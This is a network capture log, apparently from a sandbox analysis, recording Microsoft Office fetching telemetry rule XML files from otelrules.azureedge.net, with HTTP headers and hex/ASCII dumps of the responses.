Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:18 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:18 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124318Z-16ccfc49897774xmhC1DFWuraw00000000fg000000002b8w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:18 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	62416	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8b140993-f01e-005d-3914-2c13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-176bd8f9bc5nnctdhC1DFWuuh800000000ng00000000d393 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:19 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	62417	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:19 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e852109a-801e-0048-1928-2cf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-176bd8f9bc5zzwfdhC1DFWqpb400000000h0000000008k8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	62418	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:19 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:19 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 548bc1da-901e-0067-71ad-29b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-159b85dff8f2qnk7hC1DFWwa2400000001q0000000004a5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	62419	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:19 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:19 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a08d360f-701e-0053-4812-2c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-176bd8f9bc57kbmchC1DFWctms00000000r000000000cruu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	62420	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:19 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:19 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: e993d86e-401e-0047-1f30-2c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-176bd8f9bc55csg5hC1DFW6yfn00000000rg0000000081wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	62421	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:19 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-17c5cb586f659tsm88uwcmn6s400000003f000000000a3v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	62422	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:19 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:20 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124319Z-16dc884887b99jtmhC1DFWc1qc00000000mg0000000024g3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	62423	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:20 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:20 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1580aded-001e-0049-1a38-2c5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124320Z-16dc884887bbsmm2hC1DFWg5rw00000000r0000000004pfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	62424	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:20 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:20 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: e8f856ea-301e-0052-0e8f-2b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124320Z-16dc884887b4tt9chC1DFWrg2c00000000gg000000001xza x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	62425	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:20 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:20 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 8a5d0fc0-d01e-0014-552b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124320Z-176bd8f9bc59g2s2hC1DFWby1800000000rg000000007w6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	62426	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:20 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:20 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: ab6d6e0b-401e-005b-0109-2c9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124320Z-16ccfc49897b872mhC1DFWqtb000000000mg000000006g5s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
